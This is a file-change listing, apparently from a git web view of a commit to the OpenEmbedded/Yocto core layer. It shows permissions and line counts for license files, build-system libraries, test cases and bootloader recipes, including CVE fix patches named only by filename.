-rw-r--r--meta/files/common-licenses/BSD-3-Clause-No-Nuclear-Warranty14
-rw-r--r--meta/files/common-licenses/BSD-3-Clause-Open-MPI34
-rw-r--r--meta/files/common-licenses/BSD-4-Clause-Shortened13
-rw-r--r--meta/files/common-licenses/BSD-4-Clause-UC15
-rw-r--r--meta/files/common-licenses/BSD-Protection53
-rw-r--r--meta/files/common-licenses/BSD-Source-Code10
-rw-r--r--meta/files/common-licenses/BUSL-1.172
-rw-r--r--meta/files/common-licenses/Bahyph11
-rw-r--r--meta/files/common-licenses/Barr1
-rw-r--r--meta/files/common-licenses/Beerware1
-rw-r--r--meta/files/common-licenses/BitTorrent-1.0330
-rw-r--r--meta/files/common-licenses/BitTorrent-1.1137
-rw-r--r--meta/files/common-licenses/BlueOak-1.0.055
-rw-r--r--meta/files/common-licenses/Borceux19
-rw-r--r--meta/files/common-licenses/C-UDA-1.047
-rw-r--r--meta/files/common-licenses/CAL-1.0354
-rw-r--r--meta/files/common-licenses/CAL-1.0-Combined-Work-Exception354
-rw-r--r--meta/files/common-licenses/CC-BY-2.5-AU112
-rw-r--r--meta/files/common-licenses/CC-BY-3.0-AT111
-rw-r--r--meta/files/common-licenses/CC-BY-3.0-DE109
-rw-r--r--meta/files/common-licenses/CC-BY-3.0-NL97
-rw-r--r--meta/files/common-licenses/CC-BY-3.0-US83
-rw-r--r--meta/files/common-licenses/CC-BY-4.0156
-rw-r--r--meta/files/common-licenses/CC-BY-NC-3.0-DE110
-rw-r--r--meta/files/common-licenses/CC-BY-NC-4.0158
-rw-r--r--meta/files/common-licenses/CC-BY-NC-ND-3.0-DE101
-rw-r--r--meta/files/common-licenses/CC-BY-NC-ND-3.0-IGO99
-rw-r--r--meta/files/common-licenses/CC-BY-NC-ND-4.0155
-rw-r--r--meta/files/common-licenses/CC-BY-NC-SA-2.0-FR93
-rw-r--r--meta/files/common-licenses/CC-BY-NC-SA-2.0-UK149
-rw-r--r--meta/files/common-licenses/CC-BY-NC-SA-3.0-DE126
-rw-r--r--meta/files/common-licenses/CC-BY-NC-SA-3.0-IGO105
-rw-r--r--meta/files/common-licenses/CC-BY-NC-SA-4.0170
-rw-r--r--meta/files/common-licenses/CC-BY-ND-3.0-DE101
-rw-r--r--meta/files/common-licenses/CC-BY-ND-4.0154
-rw-r--r--meta/files/common-licenses/CC-BY-SA-2.0-UK147
-rw-r--r--meta/files/common-licenses/CC-BY-SA-2.1-JP83
-rw-r--r--meta/files/common-licenses/CC-BY-SA-3.0-AT139
-rw-r--r--meta/files/common-licenses/CC-BY-SA-3.0-DE136
-rw-r--r--meta/files/common-licenses/CC-PDDC8
-rw-r--r--meta/files/common-licenses/CDDL-1.1123
-rw-r--r--meta/files/common-licenses/CDL-1.053
-rw-r--r--meta/files/common-licenses/CDLA-Permissive-1.085
-rw-r--r--meta/files/common-licenses/CDLA-Permissive-2.035
-rw-r--r--meta/files/common-licenses/CDLA-Sharing-1.089
-rw-r--r--meta/files/common-licenses/CECILL-1.1229
-rw-r--r--meta/files/common-licenses/CECILL-2.1518
-rw-r--r--meta/files/common-licenses/CERN-OHL-1.147
-rw-r--r--meta/files/common-licenses/CERN-OHL-1.249
-rw-r--r--meta/files/common-licenses/CERN-OHL-P-2.0199
-rw-r--r--meta/files/common-licenses/CERN-OHL-S-2.0289
-rw-r--r--meta/files/common-licenses/CERN-OHL-W-2.0310
-rw-r--r--meta/files/common-licenses/CNRI-Jython12
-rw-r--r--meta/files/common-licenses/CNRI-Python25
-rw-r--r--meta/files/common-licenses/CNRI-Python-GPL-Compatible23
-rw-r--r--meta/files/common-licenses/CPOL-1.0298
-rw-r--r--meta/files/common-licenses/Caldera25
-rw-r--r--meta/files/common-licenses/Condor-1.140
-rw-r--r--meta/files/common-licenses/Crossword5
-rw-r--r--meta/files/common-licenses/CrystalStacker7
-rw-r--r--meta/files/common-licenses/Cube17
-rw-r--r--meta/files/common-licenses/D-FSL-1.0147
-rw-r--r--meta/files/common-licenses/DOC15
-rw-r--r--meta/files/common-licenses/DRL-1.012
-rw-r--r--meta/files/common-licenses/DSDP18
-rw-r--r--meta/files/common-licenses/Dotseqn5
-rw-r--r--meta/files/common-licenses/EPICS32
-rw-r--r--meta/files/common-licenses/EUPL-1.2190
-rw-r--r--meta/files/common-licenses/Eurosym18
-rw-r--r--meta/files/common-licenses/FSFAP1
-rw-r--r--meta/files/common-licenses/FSFUL3
-rw-r--r--meta/files/common-licenses/FSFULLR3
-rw-r--r--meta/files/common-licenses/FTL79
-rw-r--r--meta/files/common-licenses/FreeBSD-DOC23
-rw-r--r--meta/files/common-licenses/FreeImage117
-rw-r--r--meta/files/common-licenses/FreeType170
-rw-r--r--meta/files/common-licenses/GD24
-rw-r--r--meta/files/common-licenses/GFDL-1.1-invariants-only119
-rw-r--r--meta/files/common-licenses/GFDL-1.1-invariants-or-later119
-rw-r--r--meta/files/common-licenses/GFDL-1.1-no-invariants-only119
-rw-r--r--meta/files/common-licenses/GFDL-1.1-no-invariants-or-later119
-rw-r--r--meta/files/common-licenses/GFDL-1.1-only119
-rw-r--r--meta/files/common-licenses/GFDL-1.1-or-later119
-rw-r--r--meta/files/common-licenses/GFDL-1.2-invariants-only130
-rw-r--r--meta/files/common-licenses/GFDL-1.2-invariants-or-later130
-rw-r--r--meta/files/common-licenses/GFDL-1.2-no-invariants-only130
-rw-r--r--meta/files/common-licenses/GFDL-1.2-no-invariants-or-later130
-rw-r--r--meta/files/common-licenses/GFDL-1.2-only130
-rw-r--r--meta/files/common-licenses/GFDL-1.2-or-later130
-rw-r--r--meta/files/common-licenses/GFDL-1.3-invariants-only149
-rw-r--r--meta/files/common-licenses/GFDL-1.3-invariants-or-later149
-rw-r--r--meta/files/common-licenses/GFDL-1.3-no-invariants-only149
-rw-r--r--meta/files/common-licenses/GFDL-1.3-no-invariants-or-later149
-rw-r--r--meta/files/common-licenses/GFDL-1.3-only149
-rw-r--r--meta/files/common-licenses/GFDL-1.3-or-later149
-rw-r--r--meta/files/common-licenses/GL2PS13
-rw-r--r--meta/files/common-licenses/GLWTPL25
-rw-r--r--meta/files/common-licenses/GPL-1.0-only (renamed from meta/files/common-licenses/GPL-1.0)0
-rw-r--r--meta/files/common-licenses/GPL-1.0-or-later232
-rw-r--r--meta/files/common-licenses/GPL-2.0-only (renamed from meta/files/common-licenses/GPL-2.0)0
-rw-r--r--meta/files/common-licenses/GPL-2.0-or-later319
-rw-r--r--meta/files/common-licenses/GPL-3-with-bison-exception7
-rw-r--r--meta/files/common-licenses/GPL-3.0-only (renamed from meta/files/common-licenses/GPL-3.0)0
-rw-r--r--meta/files/common-licenses/GPL-3.0-or-later625
-rw-r--r--meta/files/common-licenses/Giftware9
-rw-r--r--meta/files/common-licenses/Glide95
-rw-r--r--meta/files/common-licenses/Glulxe3
-rw-r--r--meta/files/common-licenses/HPND-sell-variant19
-rw-r--r--meta/files/common-licenses/HTMLTIDY13
-rw-r--r--meta/files/common-licenses/HaskellReport6
-rw-r--r--meta/files/common-licenses/Hippocratic-2.133
-rw-r--r--meta/files/common-licenses/IBM-pibs8
-rw-r--r--meta/files/common-licenses/IJG38
-rw-r--r--meta/files/common-licenses/ImageMagick98
-rw-r--r--meta/files/common-licenses/Imlib29
-rw-r--r--meta/files/common-licenses/Info-ZIP16
-rw-r--r--meta/files/common-licenses/Intel-ACPI34
-rw-r--r--meta/files/common-licenses/Interbase-1.0199
-rw-r--r--meta/files/common-licenses/JPNIC40
-rw-r--r--meta/files/common-licenses/JSON11
-rw-r--r--meta/files/common-licenses/JasPer-2.017
-rw-r--r--meta/files/common-licenses/LAL-1.267
-rw-r--r--meta/files/common-licenses/LAL-1.388
-rw-r--r--meta/files/common-licenses/LGPL-2.0-only (renamed from meta/files/common-licenses/LGPL-2.0)0
-rw-r--r--meta/files/common-licenses/LGPL-2.0-or-later446
-rw-r--r--meta/files/common-licenses/LGPL-2.1-only (renamed from meta/files/common-licenses/LGPL-2.1)0
-rw-r--r--meta/files/common-licenses/LGPL-2.1-or-later468
-rw-r--r--meta/files/common-licenses/LGPL-3.0-only (renamed from meta/files/common-licenses/LGPL-3.0)0
-rw-r--r--meta/files/common-licenses/LGPL-3.0-or-later163
-rw-r--r--meta/files/common-licenses/LGPLLR89
-rw-r--r--meta/files/common-licenses/LPL-1.081
-rw-r--r--meta/files/common-licenses/LPPL-1.3a175
-rw-r--r--meta/files/common-licenses/Latex2e9
-rw-r--r--meta/files/common-licenses/Leptonica9
-rw-r--r--meta/files/common-licenses/LiLiQ-P-1.170
-rw-r--r--meta/files/common-licenses/LiLiQ-R-1.194
-rw-r--r--meta/files/common-licenses/LiLiQ-Rplus-1.188
-rw-r--r--meta/files/common-licenses/Linux-OpenIB18
-rw-r--r--meta/files/common-licenses/MIT-016
-rw-r--r--meta/files/common-licenses/MIT-CMU7
-rw-r--r--meta/files/common-licenses/MIT-Modern-Variant17
-rw-r--r--meta/files/common-licenses/MIT-advertising7
-rw-r--r--meta/files/common-licenses/MIT-enna9
-rw-r--r--meta/files/common-licenses/MIT-feh5
-rw-r--r--meta/files/common-licenses/MIT-open-group23
-rw-r--r--meta/files/common-licenses/MITNFA7
-rw-r--r--meta/files/common-licenses/MPL-2.0-no-copyleft-exception144
-rw-r--r--meta/files/common-licenses/MTLL24
-rw-r--r--meta/files/common-licenses/MakeIndex19
-rw-r--r--meta/files/common-licenses/MulanPSL-1.0116
-rw-r--r--meta/files/common-licenses/MulanPSL-2.0131
-rw-r--r--meta/files/common-licenses/Mup13
-rw-r--r--meta/files/common-licenses/NAIST-200370
-rw-r--r--meta/files/common-licenses/NBPL-1.059
-rw-r--r--meta/files/common-licenses/NCGL-UK-2.067
-rw-r--r--meta/files/common-licenses/NIST-PD15
-rw-r--r--meta/files/common-licenses/NIST-PD-fallback5
-rw-r--r--meta/files/common-licenses/NLOD-1.079
-rw-r--r--meta/files/common-licenses/NLOD-2.080
-rw-r--r--meta/files/common-licenses/NLPL14
-rw-r--r--meta/files/common-licenses/NOSL150
-rw-r--r--meta/files/common-licenses/NPL-1.0102
-rw-r--r--meta/files/common-licenses/NPL-1.1186
-rw-r--r--meta/files/common-licenses/NRL28
-rw-r--r--meta/files/common-licenses/NTP-05
-rw-r--r--meta/files/common-licenses/Nauman50
-rw-r--r--meta/files/common-licenses/Naumen21
-rw-r--r--meta/files/common-licenses/Net-SNMP107
-rw-r--r--meta/files/common-licenses/NetCDF7
-rw-r--r--meta/files/common-licenses/Newsletr7
-rw-r--r--meta/files/common-licenses/Noweb9
-rw-r--r--meta/files/common-licenses/O-UDA-1.047
-rw-r--r--meta/files/common-licenses/OCCT-PL112
-rw-r--r--meta/files/common-licenses/ODC-By-1.0195
-rw-r--r--meta/files/common-licenses/OFL-1.049
-rw-r--r--meta/files/common-licenses/OFL-1.0-RFN49
-rw-r--r--meta/files/common-licenses/OFL-1.0-no-RFN49
-rw-r--r--meta/files/common-licenses/OFL-1.1-RFN43
-rw-r--r--meta/files/common-licenses/OFL-1.1-no-RFN43
-rw-r--r--meta/files/common-licenses/OGC-1.017
-rw-r--r--meta/files/common-licenses/OGDL-Taiwan-1.0141
-rw-r--r--meta/files/common-licenses/OGL-Canada-2.051
-rw-r--r--meta/files/common-licenses/OGL-UK-1.069
-rw-r--r--meta/files/common-licenses/OGL-UK-2.072
-rw-r--r--meta/files/common-licenses/OGL-UK-3.069
-rw-r--r--meta/files/common-licenses/OLDAP-1.160
-rw-r--r--meta/files/common-licenses/OLDAP-1.260
-rw-r--r--meta/files/common-licenses/OLDAP-1.362
-rw-r--r--meta/files/common-licenses/OLDAP-1.462
-rw-r--r--meta/files/common-licenses/OLDAP-2.018
-rw-r--r--meta/files/common-licenses/OLDAP-2.0.118
-rw-r--r--meta/files/common-licenses/OLDAP-2.120
-rw-r--r--meta/files/common-licenses/OLDAP-2.222
-rw-r--r--meta/files/common-licenses/OLDAP-2.2.122
-rw-r--r--meta/files/common-licenses/OLDAP-2.2.224
-rw-r--r--meta/files/common-licenses/OLDAP-2.324
-rw-r--r--meta/files/common-licenses/OLDAP-2.422
-rw-r--r--meta/files/common-licenses/OLDAP-2.522
-rw-r--r--meta/files/common-licenses/OLDAP-2.620
-rw-r--r--meta/files/common-licenses/OLDAP-2.720
-rw-r--r--meta/files/common-licenses/OML5
-rw-r--r--meta/files/common-licenses/OPL-1.0136
-rw-r--r--meta/files/common-licenses/OPUBL-1.078
-rw-r--r--meta/files/common-licenses/OSET-PL-2.1161
-rw-r--r--meta/files/common-licenses/OSL-1.147
-rw-r--r--meta/files/common-licenses/OSL-2.147
-rw-r--r--meta/files/common-licenses/PDDL-1.0136
-rw-r--r--meta/files/common-licenses/PHP-3.0127
-rw-r--r--meta/files/common-licenses/Parity-6.0.044
-rw-r--r--meta/files/common-licenses/Parity-7.0.071
-rw-r--r--meta/files/common-licenses/Plexus15
-rw-r--r--meta/files/common-licenses/PolyForm-Noncommercial-1.0.0131
-rw-r--r--meta/files/common-licenses/PolyForm-Small-Business-1.0.0121
-rw-r--r--meta/files/common-licenses/Qhull17
-rw-r--r--meta/files/common-licenses/RPL-1.1177
-rw-r--r--meta/files/common-licenses/RSA-MD9
-rw-r--r--meta/files/common-licenses/Rdisc13
-rw-r--r--meta/files/common-licenses/SCEA60
-rw-r--r--meta/files/common-licenses/SGI-B-1.082
-rw-r--r--meta/files/common-licenses/SGI-B-1.184
-rw-r--r--meta/files/common-licenses/SGI-B-2.012
-rw-r--r--meta/files/common-licenses/SHL-0.564
-rw-r--r--meta/files/common-licenses/SHL-0.5165
-rw-r--r--meta/files/common-licenses/SISSL116
-rw-r--r--meta/files/common-licenses/SISSL-1.2114
-rw-r--r--meta/files/common-licenses/SMLNJ7
-rw-r--r--meta/files/common-licenses/SMPPL29
-rw-r--r--meta/files/common-licenses/SNIA122
-rw-r--r--meta/files/common-licenses/SSH-OpenSSH67
-rw-r--r--meta/files/common-licenses/SSH-short5
-rw-r--r--meta/files/common-licenses/SSPL-1.0557
-rw-r--r--meta/files/common-licenses/SWL7
-rw-r--r--meta/files/common-licenses/Saxpath19
-rw-r--r--meta/files/common-licenses/Sendmail36
-rw-r--r--meta/files/common-licenses/Sendmail-8.2336
-rw-r--r--meta/files/common-licenses/SimPL-2.037
-rw-r--r--meta/files/common-licenses/Spencer-8611
-rw-r--r--meta/files/common-licenses/Spencer-9412
-rw-r--r--meta/files/common-licenses/Spencer-999
-rw-r--r--meta/files/common-licenses/TAPR-OHL-1.0266
-rw-r--r--meta/files/common-licenses/TCL9
-rw-r--r--meta/files/common-licenses/TCP-wrappers7
-rw-r--r--meta/files/common-licenses/TMate21
-rw-r--r--meta/files/common-licenses/TORQUE-1.125
-rw-r--r--meta/files/common-licenses/TOSL9
-rw-r--r--meta/files/common-licenses/TU-Berlin-1.010
-rw-r--r--meta/files/common-licenses/TU-Berlin-2.020
-rw-r--r--meta/files/common-licenses/UCL-1.048
-rw-r--r--meta/files/common-licenses/UPL-1.017
-rw-r--r--meta/files/common-licenses/Unicode-DFS-201519
-rw-r--r--meta/files/common-licenses/Unicode-DFS-201622
-rw-r--r--meta/files/common-licenses/Unicode-TOU51
-rw-r--r--meta/files/common-licenses/VOSTROM27
-rw-r--r--meta/files/common-licenses/Vim30
-rw-r--r--meta/files/common-licenses/W3C-1998072023
-rw-r--r--meta/files/common-licenses/W3C-2015051317
-rw-r--r--meta/files/common-licenses/WTFPL11
-rw-r--r--meta/files/common-licenses/Wsuipa5
-rw-r--r--meta/files/common-licenses/X1113
-rw-r--r--meta/files/common-licenses/XSkat10
-rw-r--r--meta/files/common-licenses/Xerox5
-rw-r--r--meta/files/common-licenses/YPL-1.047
-rw-r--r--meta/files/common-licenses/Zed3
-rw-r--r--meta/files/common-licenses/Zend-2.018
-rw-r--r--meta/files/common-licenses/Zimbra-1.447
-rw-r--r--meta/files/common-licenses/blessing5
-rw-r--r--meta/files/common-licenses/bzip2-1.0.518
-rw-r--r--meta/files/common-licenses/copyleft-next-0.3.0219
-rw-r--r--meta/files/common-licenses/copyleft-next-0.3.1220
-rw-r--r--meta/files/common-licenses/curl10
-rw-r--r--meta/files/common-licenses/diffmark2
-rw-r--r--meta/files/common-licenses/dvipdfm1
-rw-r--r--meta/files/common-licenses/eGenix40
-rw-r--r--meta/files/common-licenses/etalab-2.0179
-rw-r--r--meta/files/common-licenses/gnuplot14
-rw-r--r--meta/files/common-licenses/iMatix39
-rw-r--r--meta/files/common-licenses/libpng-2.033
-rw-r--r--meta/files/common-licenses/libselinux-1.021
-rw-r--r--meta/files/common-licenses/libtiff8
-rw-r--r--meta/files/common-licenses/mpich218
-rw-r--r--meta/files/common-licenses/psfrag5
-rw-r--r--meta/files/common-licenses/psutils29
-rw-r--r--meta/files/common-licenses/tcl40
-rw-r--r--meta/files/common-licenses/vim81
-rw-r--r--meta/files/common-licenses/xinetd25
-rw-r--r--meta/files/common-licenses/xpp21
-rw-r--r--meta/files/common-licenses/zlib-acknowledgement15
-rw-r--r--meta/files/ext-sdk-prepare.py17
-rw-r--r--meta/files/overlayfs-all-overlays.service.in12
-rw-r--r--meta/files/overlayfs-create-dirs.service.in14
-rw-r--r--meta/files/overlayfs-etc-preinit.sh.in29
-rw-r--r--meta/files/overlayfs-unit.mount.in13
-rw-r--r--meta/files/ptest-perl/run-ptest2
-rw-r--r--meta/files/spdx-licenses.json5937
-rw-r--r--meta/files/toolchain-shar-extract.sh15
-rw-r--r--meta/files/toolchain-shar-relocate.sh11
-rw-r--r--meta/lib/bblayers/create.py6
-rw-r--r--meta/lib/bblayers/templates/layer.conf10
-rw-r--r--meta/lib/buildstats.py4
-rw-r--r--meta/lib/crate.py149
-rw-r--r--meta/lib/oe/classextend.py4
-rw-r--r--meta/lib/oe/copy_buildsystem.py6
-rw-r--r--meta/lib/oe/cve_check.py148
-rw-r--r--meta/lib/oe/distro_check.py2
-rw-r--r--meta/lib/oe/elf.py8
-rw-r--r--meta/lib/oe/gpg_sign.py27
-rw-r--r--meta/lib/oe/license.py15
-rw-r--r--meta/lib/oe/maketype.py7
-rw-r--r--meta/lib/oe/overlayfs.py48
-rw-r--r--meta/lib/oe/package_manager/__init__.py25
-rw-r--r--meta/lib/oe/package_manager/deb/__init__.py25
-rw-r--r--meta/lib/oe/package_manager/deb/sdk.py4
-rw-r--r--meta/lib/oe/package_manager/ipk/__init__.py13
-rw-r--r--meta/lib/oe/package_manager/ipk/sdk.py6
-rw-r--r--meta/lib/oe/package_manager/rpm/__init__.py6
-rw-r--r--meta/lib/oe/packagedata.py20
-rw-r--r--meta/lib/oe/patch.py32
-rw-r--r--meta/lib/oe/path.py21
-rw-r--r--meta/lib/oe/prservice.py27
-rw-r--r--meta/lib/oe/qa.py35
-rw-r--r--meta/lib/oe/recipeutils.py34
-rw-r--r--meta/lib/oe/reproducible.py94
-rw-r--r--meta/lib/oe/rootfs.py31
-rw-r--r--meta/lib/oe/sbom.py74
-rw-r--r--meta/lib/oe/spdx.py339
-rw-r--r--meta/lib/oe/sstatesig.py108
-rw-r--r--meta/lib/oe/terminal.py25
-rw-r--r--meta/lib/oe/utils.py83
-rw-r--r--meta/lib/oeqa/core/case.py9
-rw-r--r--meta/lib/oeqa/core/decorator/oetimeout.py5
-rw-r--r--meta/lib/oeqa/core/target/qemu.py37
-rw-r--r--meta/lib/oeqa/core/target/ssh.py21
-rw-r--r--meta/lib/oeqa/core/tests/cases/timeout.py13
-rwxr-xr-xmeta/lib/oeqa/core/tests/test_data.py2
-rwxr-xr-xmeta/lib/oeqa/core/tests/test_decorators.py6
-rw-r--r--meta/lib/oeqa/core/utils/concurrencytest.py53
-rw-r--r--meta/lib/oeqa/files/testresults/testresults.json2
-rw-r--r--meta/lib/oeqa/manual/bsp-hw.json278
-rw-r--r--meta/lib/oeqa/manual/build-appliance.json2
-rw-r--r--meta/lib/oeqa/manual/eclipse-plugin.json6
-rw-r--r--meta/lib/oeqa/manual/oe-core.json2
-rw-r--r--meta/lib/oeqa/manual/sdk.json2
-rw-r--r--meta/lib/oeqa/manual/toaster-managed-mode.json16
-rw-r--r--meta/lib/oeqa/runtime/cases/date.py13
-rw-r--r--meta/lib/oeqa/runtime/cases/df.py2
-rw-r--r--meta/lib/oeqa/runtime/cases/ethernet_ip_connman.py36
-rw-r--r--meta/lib/oeqa/runtime/cases/go.py19
-rw-r--r--meta/lib/oeqa/runtime/cases/ksample.py2
-rw-r--r--meta/lib/oeqa/runtime/cases/pam.py3
-rw-r--r--meta/lib/oeqa/runtime/cases/parselogs.py28
-rw-r--r--meta/lib/oeqa/runtime/cases/ptest.py3
-rw-r--r--meta/lib/oeqa/runtime/cases/rpm.py15
-rw-r--r--meta/lib/oeqa/runtime/cases/rtc.py4
-rw-r--r--meta/lib/oeqa/runtime/cases/runlevel.py22
-rw-r--r--meta/lib/oeqa/runtime/cases/rust.py19
-rw-r--r--meta/lib/oeqa/runtime/cases/skeletoninit.py2
-rw-r--r--meta/lib/oeqa/runtime/cases/suspend.py33
-rw-r--r--meta/lib/oeqa/runtime/cases/terminal.py7
-rw-r--r--meta/lib/oeqa/runtime/cases/usb_hid.py22
-rw-r--r--meta/lib/oeqa/runtime/cases/weston.py6
-rw-r--r--meta/lib/oeqa/runtime/context.py29
-rw-r--r--meta/lib/oeqa/runtime/decorator/package.py4
-rw-r--r--meta/lib/oeqa/sdk/buildtools-cases/README2
-rw-r--r--meta/lib/oeqa/sdk/buildtools-cases/build.py30
-rw-r--r--meta/lib/oeqa/sdk/buildtools-cases/gcc.py29
-rw-r--r--meta/lib/oeqa/sdk/buildtools-cases/https.py20
-rw-r--r--meta/lib/oeqa/sdk/buildtools-cases/sanity.py22
-rw-r--r--meta/lib/oeqa/sdkext/testsdk.py4
-rw-r--r--meta/lib/oeqa/selftest/cases/_sstatetests_noauto.py4
-rw-r--r--meta/lib/oeqa/selftest/cases/archiver.py22
-rw-r--r--meta/lib/oeqa/selftest/cases/bblayers.py5
-rw-r--r--meta/lib/oeqa/selftest/cases/bblogging.py104
-rw-r--r--meta/lib/oeqa/selftest/cases/bbtests.py32
-rw-r--r--meta/lib/oeqa/selftest/cases/buildoptions.py65
-rw-r--r--meta/lib/oeqa/selftest/cases/containerimage.py10
-rw-r--r--meta/lib/oeqa/selftest/cases/cve_check.py44
-rw-r--r--meta/lib/oeqa/selftest/cases/devtool.py103
-rw-r--r--meta/lib/oeqa/selftest/cases/distrodata.py42
-rw-r--r--meta/lib/oeqa/selftest/cases/eSDK.py2
-rw-r--r--meta/lib/oeqa/selftest/cases/efibootpartition.py6
-rw-r--r--meta/lib/oeqa/selftest/cases/fetch.py65
-rw-r--r--meta/lib/oeqa/selftest/cases/fitimage.py840
-rw-r--r--meta/lib/oeqa/selftest/cases/glibc.py4
-rw-r--r--meta/lib/oeqa/selftest/cases/gotoolchain.py21
-rw-r--r--meta/lib/oeqa/selftest/cases/image_typedep.py4
-rw-r--r--meta/lib/oeqa/selftest/cases/imagefeatures.py92
-rw-r--r--meta/lib/oeqa/selftest/cases/incompatible_lic.py66
-rw-r--r--meta/lib/oeqa/selftest/cases/kerneldevelopment.py2
-rw-r--r--meta/lib/oeqa/selftest/cases/layerappend.py10
-rw-r--r--meta/lib/oeqa/selftest/cases/lic_checksum.py2
-rw-r--r--meta/lib/oeqa/selftest/cases/multiconfig.py6
-rw-r--r--meta/lib/oeqa/selftest/cases/oelib/elf.py2
-rw-r--r--meta/lib/oeqa/selftest/cases/oelib/utils.py3
-rw-r--r--meta/lib/oeqa/selftest/cases/oescripts.py4
-rw-r--r--meta/lib/oeqa/selftest/cases/overlayfs.py395
-rw-r--r--meta/lib/oeqa/selftest/cases/package.py11
-rw-r--r--meta/lib/oeqa/selftest/cases/pkgdata.py6
-rw-r--r--meta/lib/oeqa/selftest/cases/prservice.py2
-rw-r--r--meta/lib/oeqa/selftest/cases/pseudo.py27
-rw-r--r--meta/lib/oeqa/selftest/cases/recipetool.py253
-rw-r--r--meta/lib/oeqa/selftest/cases/recipeutils.py8
-rw-r--r--meta/lib/oeqa/selftest/cases/reproducible.py84
-rw-r--r--meta/lib/oeqa/selftest/cases/runcmd.py4
-rw-r--r--meta/lib/oeqa/selftest/cases/runqemu.py9
-rw-r--r--meta/lib/oeqa/selftest/cases/runtime_test.py72
-rw-r--r--meta/lib/oeqa/selftest/cases/signing.py12
-rw-r--r--meta/lib/oeqa/selftest/cases/sstatetests.py104
-rw-r--r--meta/lib/oeqa/selftest/cases/sysroot.py8
-rw-r--r--meta/lib/oeqa/selftest/cases/tinfoil.py16
-rw-r--r--meta/lib/oeqa/selftest/cases/wic.py178
-rw-r--r--meta/lib/oeqa/selftest/context.py19
-rw-r--r--meta/lib/oeqa/targetcontrol.py7
-rw-r--r--meta/lib/oeqa/utils/__init__.py20
-rw-r--r--meta/lib/oeqa/utils/buildproject.py3
-rw-r--r--meta/lib/oeqa/utils/commands.py6
-rw-r--r--meta/lib/oeqa/utils/dump.py45
-rw-r--r--meta/lib/oeqa/utils/package_manager.py4
-rw-r--r--meta/lib/oeqa/utils/qemurunner.py154
-rw-r--r--meta/lib/oeqa/utils/qemutinyrunner.py6
-rw-r--r--meta/lib/oeqa/utils/targetbuild.py4
-rw-r--r--meta/recipes-bsp/acpid/acpid.inc10
-rw-r--r--meta/recipes-bsp/acpid/acpid_2.0.32.bb7
-rw-r--r--meta/recipes-bsp/acpid/acpid_2.0.33.bb6
-rw-r--r--meta/recipes-bsp/alsa-state/alsa-state.bb12
-rw-r--r--meta/recipes-bsp/apmd/apmd/libtool.patch22
-rw-r--r--meta/recipes-bsp/apmd/apmd_3.2.2-15.bb14
-rw-r--r--meta/recipes-bsp/efibootmgr/efibootmgr_17.bb2
-rw-r--r--meta/recipes-bsp/efivar/efivar/determinism.patch18
-rw-r--r--meta/recipes-bsp/efivar/efivar_37.bb7
-rwxr-xr-xmeta/recipes-bsp/formfactor/files/qemuppc64/machconfig10
-rw-r--r--meta/recipes-bsp/gnu-efi/gnu-efi_3.0.12.bb71
-rw-r--r--meta/recipes-bsp/gnu-efi/gnu-efi_3.0.14.bb70
-rw-r--r--meta/recipes-bsp/grub/files/0001-RISC-V-Restore-the-typcast-to-long.patch39
-rw-r--r--meta/recipes-bsp/grub/files/CVE-2020-10713.patch73
-rw-r--r--meta/recipes-bsp/grub/files/CVE-2020-14308-calloc-Use-calloc-at-most-places.patch1863
-rw-r--r--meta/recipes-bsp/grub/files/CVE-2020-14309-CVE-2020-14310-CVE-2020-14311-malloc-Use-overflow-checking-primitives-where-we-do-.patch1330
-rw-r--r--meta/recipes-bsp/grub/files/CVE-2020-15706-script-Avoid-a-use-after-free-when-redefining-a-func.patch117
-rw-r--r--meta/recipes-bsp/grub/files/CVE-2020-15707-linux-Fix-integer-overflows-in-initrd-size-handling.patch177
-rw-r--r--meta/recipes-bsp/grub/files/autogen.sh-exclude-pc.patch15
-rw-r--r--meta/recipes-bsp/grub/files/calloc-Make-sure-we-always-have-an-overflow-checking.patch246
-rw-r--r--meta/recipes-bsp/grub/files/determinism.patch68
-rw-r--r--meta/recipes-bsp/grub/files/lvm-Add-LVM-cache-logical-volume-handling.patch287
-rw-r--r--meta/recipes-bsp/grub/files/safemath-Add-some-arithmetic-primitives-that-check-f.patch94
-rw-r--r--meta/recipes-bsp/grub/files/script-Remove-unused-fields-from-grub_script_functio.patch37
-rw-r--r--meta/recipes-bsp/grub/grub-bootconf_1.00.bb4
-rw-r--r--meta/recipes-bsp/grub/grub-efi_2.04.bb93
-rw-r--r--meta/recipes-bsp/grub/grub-efi_2.06.bb91
-rw-r--r--meta/recipes-bsp/grub/grub2.inc34
-rw-r--r--meta/recipes-bsp/grub/grub_2.04.bb38
-rw-r--r--meta/recipes-bsp/grub/grub_2.06.bb41
-rw-r--r--meta/recipes-bsp/keymaps/keymaps_1.0.bb8
-rw-r--r--meta/recipes-bsp/lrzsz/lrzsz-0.12.20/0001-Fix-cross-compilation-using-autoconf-detected-AR.patch2
-rw-r--r--meta/recipes-bsp/lrzsz/lrzsz-0.12.20/autotools-update.patch2
-rw-r--r--meta/recipes-bsp/lrzsz/lrzsz_0.12.20.bb2
-rw-r--r--meta/recipes-bsp/opensbi/opensbi-payloads.inc19
-rw-r--r--meta/recipes-bsp/opensbi/opensbi_0.8.bb47
-rw-r--r--meta/recipes-bsp/opensbi/opensbi_0.9.bb49
-rw-r--r--meta/recipes-bsp/pciutils/pciutils_3.7.0.bb10
-rw-r--r--meta/recipes-bsp/pm-utils/pm-utils_1.4.1.bb8
-rw-r--r--meta/recipes-bsp/u-boot/files/0001-riscv32-Use-double-float-ABI-for-rv32.patch42
-rw-r--r--meta/recipes-bsp/u-boot/libubootenv_0.3.1.bb30
-rw-r--r--meta/recipes-bsp/u-boot/libubootenv_0.3.2.bb26
-rw-r--r--meta/recipes-bsp/u-boot/u-boot-common.inc4
-rw-r--r--meta/recipes-bsp/u-boot/u-boot-tools.inc53
-rw-r--r--meta/recipes-bsp/u-boot/u-boot-tools_2020.10.bb3
-rw-r--r--meta/recipes-bsp/u-boot/u-boot-tools_2021.10.bb2
-rw-r--r--meta/recipes-bsp/u-boot/u-boot.inc112
-rw-r--r--meta/recipes-bsp/u-boot/u-boot_2020.10.bb5
-rw-r--r--meta/recipes-bsp/u-boot/u-boot_2021.10.bb7
-rw-r--r--meta/recipes-bsp/usbutils/usbutils_013.bb30
-rw-r--r--meta/recipes-bsp/usbutils/usbutils_014.bb31
-rw-r--r--meta/recipes-bsp/v86d/v86d_0.1.10.bb3
-rw-r--r--meta/recipes-connectivity/avahi/avahi_0.8.bb93
-rw-r--r--meta/recipes-connectivity/avahi/files/handle-hup.patch41
